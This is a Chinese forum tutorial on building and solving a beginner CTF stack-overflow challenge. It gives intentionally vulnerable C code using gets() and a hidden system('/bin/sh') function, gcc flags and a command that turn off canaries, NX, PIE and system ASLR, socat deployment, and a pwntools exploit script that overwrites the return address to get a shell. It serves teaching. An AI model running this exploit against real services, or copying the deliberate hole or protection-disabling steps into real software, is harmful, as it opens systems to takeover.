首页
社区
课程
招聘
「PWN系列」一、开篇 自己写题自己做
2024-2-19 22:30 9753

「PWN系列」一、开篇 自己写题自己做

2024-2-19 22:30
9753

写一道基础的栈溢出PWN题,打开二进制安全的门缝

如何部署一套题

保护关闭

第一步,准备一道pwn题的源码

示例.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
int main()
{
        int a=1;
        float key=2018.81,input;
        if (a==2)
        {
                printf("input your key:\n");
                scanf("%f",&input);
                if(input==key)
                        printf("mctf{Hahahahaha_Y0u_C@n_use_GDB_N0W}");
        }
        return 0;
}

第二步就是gcc编译了,因为还要牵扯到很多的开关,所以这里一步步来
1、【关闭】EP/NX(堆栈不可执行)

1
gcc  -z execstack -o 编译完的文件名 待编译的文件名

2、【关掉】Stack Protector/Canary(栈保护)

1
gcc -fno-stack-protector -o 编译完的文件名 待编译的文件名

3、【关掉】程序ASLR/PIE(程序随机化保护)

1
gcc -no-pie 编译完的文件名 待编译的文件名

4、【关闭】整个linux系统的ASLR保护

1
2
3
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit

5.「打开」整个linux系统的ASLR保护

1
2
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space

6.64位linux下面的GCC编译出一个32位可执行程序

1
gcc -m32 -z execstack -fno-stack-protector -o 编译完的文件名 待编译的文件名

socat工具部署题目

第三步,我们在做题目的时候经常碰到的就是将题目作为一个服务绑定在一个服务器的一个端口上,所以接下来可以用socat

1
socat tcp-l:端口号,fork exec:程序位置,reuseaddr

最后一步就是访问题目了

1
nc IP地址 端口号

栈溢出基础实战示例

程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出方式。

发生的前提条件

  • 程序必须向栈上写入数据

  • 写入的数据大小没有被良好地控制

源代码:main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
 
int func(){
    system("/bin/sh");
    return 0;
}
void vulnerable() {
  char s[12];
  puts("请输入:");
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

GPT

这段代码存在严重的安全问题,主要是因为使用了不安全的 gets 函数,容易导致缓冲区溢出。具体问题如下:

  1. 使用 gets 函数: gets 函数没有提供缓冲区边界检查,因此可能导致缓冲区溢出,允许攻击者覆盖栈上的关键数据。

  2. 栈溢出风险: 函数 vulnerable 中的字符数组 s 只有 12 个字节,但用户输入没有受到限制。这可能允许攻击者输入超过 12 个字节的数据,导致栈溢出。

  3. system 函数调用: 函数 func 中使用 system 函数执行用户输入的命令,这可能导致命令注入攻击,尤其是由于缺乏输入验证。

为了解决这些问题,应该使用安全的输入函数替代 gets,例如 fgets,并确保对用户输入进行适当的验证和边界检查。此外,对于执行用户输入的命令,应该谨慎处理,避免命令注入漏洞。

我们所要达成的目的是让程序执行func函数

首先关闭ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

使用如下指令进行编译,编译32位不带stack保护和pie保护的二进制文件

gcc -m32 -fno-stack-protector -no-pie main.c -o main

得到一个main二进制文件,使用checksec进行分析

1
2
3
4
5
6
7
Arch:     i386-32-little
// x86架构下的32位小端程序
RELRO:    Partial RELRO
//
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
标题 RELRO STACK CANARY(堆栈保护) NX (不可执行内存) PIE
示意 RELRO 是可执行文件中一个常见的保护特性。它的全称是 Relocation Read-Only(重定位只读),它的作用是防止针对 GOT 表的攻击。<br><br>RELRO 可以分为三种级别:<br><br>- Partial RELRO(部分 RELRO):在 program 的初始化阶段,只有 GOT 表中未被初始化的部分被保护起来。如果一个地址被初始化后,那么它就成为了漏洞的可能入口。<br> <br>- Full RELRO(完全 RELRO):在 program 的初始化阶段,GOT 表所有项都被标记为只读。这样一来,攻击者就无法改变 GOT 表中的地址来实现攻击。<br> <br>- Canary RELRO:这是 Full RELRO 的升级版,它还增加了内存区域的随机化,提高了安全性。 堆栈保护是一种通过检查函数返回地址是否被修改的技术。在执行函数时,函数返回地址会被压入栈中。堆栈保护插入了一个被称为“堆栈守卫”的随机值到返回地址之前,防止它被篡改。<br><br>如果堆栈保护是开启的,Checksec 将会显示“Canary found”,否则就是“No canary found”。 NX 是可执行文件中的一项重要安全特性,它通过将某些内存区域标记为不可执行来防止缓冲区溢出等攻击。<br><br>如果 NX 是开启的,Checksec 将会显示“NX enabled”,否则就是“NX disabled”。 PIE(Position Independent Executables)是在程序执行时将程序和依赖的库加载到内存中并且将其具体位位置放置在随机的内存地址中。这样,攻击者想要利用已知的内存位置来执行攻击时就很难了。<br><br>PIE 是增加安全性的有力手段。如果开启了 PIE,Checksec 将会显示“PIE enabled”,否则就是“No PIE”。
例子 Full RELRO Canary found NX enabled PIE enabled

gdb调试

gdb调试可看b站“国资社畜”的的pwn教学视频,讲得非常详细非常好。

国资社畜 你想有多PWN:https://www.bilibili.com/video/BV1mr4y1Y7fW

图片描述

静态分析

函数:vulnerable()

  • 080484b9 83 ec 14 SUB ESP,0x14 //缓冲区的大小(EBP到ESP:0x14)

  • 080484e0 e8 3b fe CALL <EXTERNAL>::gets //⚠️危险函数 char * gets(char * __s)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
                     **************************************************************
                     *                          FUNCTION                          *
                     **************************************************************
                     undefined vulnerable()
     undefined         AL:1           <RETURN>
     undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     080484f8(R) 
     undefined1        Stack[-0x18]:1 local_18                                XREF[2]:     080484dc(*),
                                                                                           080484eb(*
                     vulnerable                                      XREF[4]:     Entry Point(*), main:08048518(c),
                                                                                  080485f0, 080486a8(*
080484b5 55              PUSH       EBP
080484b6 89 e5           MOV        EBP,ESP
080484b8 53              PUSH       EBX
080484b9 83 ec 14        SUB        ESP,0x14 //缓冲区的大小(EBP到ESP:0x14
080484bc e8 ff fe        CALL       __x86.get_pc_thunk.bx                            undefined __x86.get_pc_thunk.bx()
         ff ff
080484c1 81 c3 3f        ADD        EBX,0x1b3f
         1b 00 00
080484c7 83 ec 0c        SUB        ESP,0xc
080484ca 8d 83 b8        LEA        EAX,[EBX + 0xffffe5b8]=>DAT_080485b8             = E8h
         e5 ff ff
080484d0 50              PUSH       EAX=>DAT_080485b8                                = E8h
080484d1 e8 5a fe        CALL       <EXTERNAL>::puts                                 int puts(char * __s)
         ff ff
080484d6 83 c4 10        ADD        ESP,0x10
080484d9 83 ec 0c        SUB        ESP,0xc
080484dc 8d 45 ec        LEA        EAX=>local_18,[EBP + -0x14]
080484df 50              PUSH       EAX
080484e0 e8 3b fe        CALL       <EXTERNAL>::gets    //⚠️危险函数                             char * gets(char * __s)
         ff ff
080484e5 83 c4 10        ADD        ESP,0x10
080484e8 83 ec 0c        SUB        ESP,0xc
080484eb 8d 45 ec        LEA        EAX=>local_18,[EBP + -0x14]
080484ee 50              PUSH       EAX
080484ef e8 3c fe        CALL       <EXTERNAL>::puts                                 int puts(char * __s)
         ff ff
080484f4 83 c4 10        ADD        ESP,0x10
080484f7 90              NOP
080484f8 8b 5d fc        MOV        EBX,dword ptr [EBP + local_8]
080484fb c9              LEAVE
080484fc c3              RET

main二进制文件中main函数反编译结果:

直接调用了vulnerable();和我们的源代码基本一致

主函数main

1
2
3
4
5
6
7
8
/* WARNING: Function: __x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */
 
undefined4 main(void)
 
{
  vulnerable();
  return 0;
}

Ghidra反编译vulnerable函数结果,以下为伪代码:

为什么在源代码中[12]而这里却是[16]?

源代码中定义了一个大小为 12 的字符数组 s。然而,反编译的伪代码中,编译器可能进行了栈帧的调整和优化,将 s 的大小调整为 16 字节,这可能是为了实现更有效的栈内存布局或者对齐。

1
2
3
4
5
6
7
8
9
10
11
12
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
 
void vulnerable(void)
 
{
  char local_18 [16];
   
  puts(&DAT_080485b8);
  gets(local_18);
  puts(local_18);
  return;
}

⚠️危险的system("/bin/sh");

图片描述

exp.py

  • ⚠️危险的system("/bin/sh"); 0x08048486
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 64位栈溢出模版
# ++++++++++++++++++++++++++++++++++++++++++
# +  微信公众号:攻有道       By:Cha111Ng1    +
# ++++++++++++++++++++++++++++++++++++++++++
# Github:https://github.com/Cha111Ng1/ghidra_scripts_cha11
from pwn import *
 
context(os='linux', arch="amd64", log_level="debug")
content = 0
 
# 计算出的填充字符,0x14:缓冲区大小,+4:因为是32位
payload = b'a' * (0x14+4)
# 想要其返回的函数地址,即前面填充a至函数返回地址时,把返回地址填充为我们指定的函数地址,这样在堆栈做ret操作时eip跳转到我们填充的地址
system_addr = 0x08048486
 
def main():
    if content  == 1:
        # 本地文件方式
        cha11 = process("./test_01_32")
    else:
        # 远程连接方式
        cha11 = remote('10.37.130.2', '1337')
    # 跳到恶意位置
    exp = payload + p32(system_addr)
    # 发送恶意载荷
    cha11.sendline(exp)
    # 获得一个交互shell
    cha11.interactive()
 
main()

图片描述
至此,一道简单的pwn从写题到部署,再到寻找利用方式,最后到漏洞利用全部演示完毕


拓展资料

Pwn入门之基础栈溢出:https://zhuanlan.zhihu.com/p/587763752

c程序从编译开始到运行结束的过程:https://blog.csdn.net/tbsqigongzi/article/details/128137047

国资社畜 你想有多PWN:https://www.bilibili.com/video/BV1mr4y1Y7fW


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞10
打赏
分享
最新回复 (2)
雪    币: 2576
活跃值: (447)
能力值: ( LV2,RANK:85 )
在线值:
发帖
回帖
粉丝
wyfe 2024-2-20 18:08
2
1
学习思路不错
雪    币: 224
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Dircou 2024-2-21 00:04
3
1
虽然看不懂,还是赞一个!
游客
登录 | 注册 方可回帖
返回